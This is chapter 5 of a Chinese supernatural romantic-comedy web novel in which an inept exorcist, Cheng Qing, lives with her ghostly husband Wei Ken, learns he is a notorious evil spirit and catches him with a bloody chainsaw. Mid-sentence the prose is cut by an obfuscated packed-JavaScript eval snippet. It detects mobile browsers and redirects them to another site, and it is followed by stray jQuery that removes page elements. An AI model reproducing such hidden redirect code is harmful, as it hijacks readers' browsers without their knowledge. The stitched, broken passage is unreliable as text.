5. 第 5 章

作品:《升官发财死老公

    这间别墅住进来的时候她就觉得很诡异,常年阴风阵阵。


    空调常年16度,足够冷,可以帮助魏肯保质尸身。


    她曾经在小镇周围逛过一圈,试图打听到有关于魏肯的更多信息,但得到的回答是他也是刚搬来这里不久,但也因为手笔很大一下子花了大价钱购置别墅而被小镇上的人传闻是外地来的富家公子哥。而她在外面的名号则是:跟随富家公子哥一起逃婚的叛逆少女,一言不合就捅人。


    跟人是打听不到有用的消息,鬼影也不见两只,那些残缺的只会阿巴阿巴。


    她现在只能寄希望于顶楼位置那间小阁楼,毕竟那里藏着魏肯的尸身,或许可以从那里获取到更多有用的信息。


    但程晴怕,之前她从缝隙位置瞄过一眼,那骨头白花花的,精亮。


    作为特殊人群,法师能看见常人所看不到的东西,本领越高,能看到的东西就越多。


    像程晴这种学艺不精的,她偶尔能看见一只手,或者是脚,要么就是身体各个器官随意飘荡。


    现在魏肯的后背冒出了两只眼睛,那两只眼睛还对着她wink了一下。


    骚死了。


    而回想起那一次......程晴气狠狠,她清楚记得那一次。


    那副可恶的眼睛明知道她怕还故意吓她,在白骨上溜溜地转,还翻白眼。


    新气加旧气涌了上来,现在那两只眼睛还在挑衅她,程晴忍无可忍,抄起桌上那把叉子朝魏肯直戳戳刺了过去。


    魏肯手上请柬掉落,冷汗拔凉,那副叉子左右开弓距离他的侧脸仅有毫厘之差。


    “晴...晴。”他磕巴着抬起头来,余惊未定。


    那双眼睛几乎是逃得飞快。


    程晴始终保密自己的身份,谨慎地避免暴露,对上魏肯那煞白的脸,她生冷地挤出一个笑容:“有蚊子。”


    她还很贴心地用叉子拨了一拨,冷风拔凉拔凉,全部打在魏肯的侧脸。


    “开饭吧。”程晴顺势将叉子复位,像个没事人一样始终镇定自若。


    下次再遇到那两只眼睛她计划打开黄片递过去,让它们看完以后就长针眼,痛死它们,如此一来看它们还怎么嚣张。


    魏肯起身,背对着程晴后换上一副镇定自若神态,平静到诡异。


    自始至终惊掉下巴的只有边驰一人,他借口帮忙的名义跟进了厨房。


    “你--你们每天都这样吗?”边驰试图将上次被程晴拿刀砍自己的事情合理化。


    他看电视的时候也会看到这种相关情节,说打是亲骂是爱,插.你一刀最可爱。


    边驰在求证,而魏肯,他却呆在了原地。


    掀锅时水蒸气咕噜噜地往上冒,边驰提醒道:“小心烫。”


    魏肯毫无反应,淡定异常。


    边驰刚才说的话他显然没听,现在才反应过来旁边有人,而且还用一副惊奇目光盯着他的手。


    视线再明朗几分,魏肯也终于注意到了那沸腾的水蒸气,粘粘的,湿湿的,将手心打湿。


    他不紧不慢抬起手来,机械性地捏了一下耳朵,说话毫无情绪:“呀,烫死了。”


    魏肯回过头来瞄了一眼客厅位置,程晴和阿宝想看甚欢,程晴还教她耍刀。


    “我的妻子很友善,总是善于分享。”


    “可是她捅你哎。”边驰强调的音量高了一分,在他的视角看来程晴的行为就是赤裸裸的杀夫。


    魏肯:“又没捅到。”


    他对边驰一副大惊小怪的样子表示不齿。就这?他可是男人。


    边驰不情不愿地被说服了,因为魏肯过于云淡风轻他不由得怀疑是否自己心里过于脆弱。


    但在饭桌上他还是有意和程晴隔开距离,甚至将阿宝拉回到自己身旁坐,怕阿宝不经意间学到一星半点。


    程晴将这些都看在眼里,现在她的着重关注目光是在边驰身上。在这个小镇里,唯一和魏肯走得算近的便是这个邻居。而这个邻居看起来笨笨又怂怂的,她就这么随便提起餐刀,足以吓得他掉筷子,估摸着应该也很好套话。


    “欢迎常来。”程晴客气一句。


    魏肯欣慰点头,他的妻子总是这么友善,且美丽,不由得勾眉向边驰又得意炫耀一把。


    到边驰冷汗拔凉,一顿饭下来他因为紧张而咽下的口水比饭菜还要多。


    尽管时间还早,尽管住得很近,但吃完饭后他还是带着阿宝很快就离开了。到家时关门声异常响亮且迅速,似乎生怕程晴跟着进去。


    收拾完餐厅,魏肯早已迫不及待,又到了一天当中他最期待的睡觉时间。


    他这会已经迅速洗完白白,洗头时尤其多挤了几泵洗发水,短发柔顺又丝滑。香香的,很喜欢。


    昨天晚上的脑部按摩以后魏肯睡得尤其香甜,他这会在想着,要以什么样的合理理由才能请求程晴再为自己按摩一次。


    然而等他回到房间程晴早已睡得香迷糊,睡梦中她感觉有人在挤压自己,快要压得她喘不过气来。睡觉被打扰程晴显得有点烦躁,反手就是一个肘击。


    魏肯抱着胸口吃痛后退,嘴巴张成O型,可见力度不小。


    但尽管如此他还是尝试着靠近,高大身躯缩成一个小虾米唯唯诺诺地蠕动着,俊逸眉眼皱起,多了几分苦涩涩,还显得有点委屈。


    程晴依旧背对着他,手中的被子攥得更紧了,似较劲一般。


    死男人,没经过她同意竟然想抱抱,不禁在心里咒骂一句活该。


    但这还没结束。


    黑暗中有一只手偷偷摸摸地伸了过来,尽管很轻,但心思却如雷鸣响亮。


    刚开始还只是搭在手臂上,紧接着就是胳膊,现在已经在摸她的脸了。


    程晴看似表面平静不动声色,实则藏在被子下的手捏得嘎吱响。


    仔细回想一下,这几天确实是有点放纵他了以至于这会有点得意忘形,现在都学会动手动脚了。


    不过程晴也没有惯着他,借着翻身的名义猛地一脚就将他踹到了地上。下一秒邦邦声地砸地声传来,很瓷实。


    尽管被击中要害,眼泪汪汪地出,但自认理亏的魏肯硬是没敢吱一声,无声中哭唧唧。


    趁着夜幕正黑,程晴试探性地半眯将眼睛睁开。很好,人已经老实了,乖乖躺着不再动弹,像死了一样安静。


    程晴自认为她这个人什么都好,就是有点小心眼,爱报现仇。


    现在已经舒服了,睡觉。


    第二天起来,风情日明。还有魏肯的黑眼圈,阙青黑。


    后半夜他一直都在不安地翻滚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889582|192182||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,估摸着应该没怎么睡。现在还偶尔揉揉胸口,还疼着呢。


    “这是怎么的了?”程晴明知故问关心一句。


    “没,没什么。”魏肯躲闪神色,一脸溴态。


    行,既如此程晴也就不过多关心了,潇洒转身离去。


    早在接下这个任务之前她就找阴阳两界的朋友帮忙查过魏肯,时至今日,总算是有消息来了。


    上面清楚地写着魏肯是胡山一带有名的恶鬼。


    胡山地阴,恶鬼邪祟作乱,最为出名的就是三阴,三阴以阴肉为食,阴气为饮,阴血以滋养补体。


    而作为三阴之一,魏肯榜上赫赫有名。


    传闻他身高十尺,因为常年遍布阴肉池林而腐肉满躯,面目丑陋可憎。


    这个胡山是程晴一直想去但是又不能踏足的领域,皆因她过于菜鸡,贸贸然去只会成为恶鬼的下酒菜,只是万万没想到三阴之一已经悄然来到了她的身边。


    “414岁的老东西。”上面还附带着魏肯的出生信息,程晴看了直摇头。


    来信还给了程晴建议,要想确保一击毙命,最好就是在生辰当天动手。


    看了看日期,6月23号,正好是他们结婚当天。


    当初做下要在结婚当天杀他这个决定程晴还是会有些愧疚,毕竟那天也算是他人生中的大好日子。


    但现在收到这个消息程晴心中的顾虑已经全然打消,她作为法师,锄鬼是她的职责,更何况是这样怅乱阴间的恶鬼,更得死。


    只能说,天都要他亡也。


    “滋啦...滋,”后院位置疑似传来电锯运作的声音,声音哗啦刺耳,听得程晴头皮发麻。


    那只恶鬼不知道又在搞些什么,每天动静都特别多。


    程晴循着声音传来的放心走了过去,越走近,电锯声越加渗人。


    后院位置有一个柴房,几乎荒废,黑乎乎又脏兮兮的。


    破烂窗户位置有一个缺口,程晴小心翼翼地顺着那个洞往里面偷看。


    先映入眼帘的是洒满泥墙的血迹。视线往左,她瞄到了魏肯的背影,他身上穿着一件破破烂烂的麻布草衣,他的手上都是血。


    上扬的手臂紧握电锯,结实肌肉挥动电锯左右摇摆,拉力轰隆声震耳冲天。血液从高处飞溅肆意挥洒,一点成一片,滴在地上一坨又一坨,隔着老远都闻到腥臭无比。


    方才信息里有提及,他们吃阴肉,吸阴气,饮阴血,程晴不由得脚一软。


    她只能通过缝隙位置看到那个东西疑似被倒挂起来,血肉模糊红白一片。电锯每往下走一分,应声倒地的骨头节节掉落,才这么一小会时间就有小山高。


    “呕。”程晴没忍住干呕一声,她已经捂住嘴巴尽量不出声响。


    再一晃眼,柴房里的魏肯已经不见了身影。


    余惊未定时,震耳欲聋的电锯声在耳后响起。


    斑驳血渍打在魏肯的冷漠侧脸,眉间的血渍已经干涸凝固。电锯因为动力过载冒出零星火点,映衬出他的空洞眼神越加幽深。


    他手持电锯机械性前往步步紧逼,直到程晴走到死角位置再无路可退。


    这一刻,魏肯的冷漠比沾有血腥痕迹的电锯还要锋锐,犀利直迫程晴因为后怕而发白的眼眸。


    “都知道了?”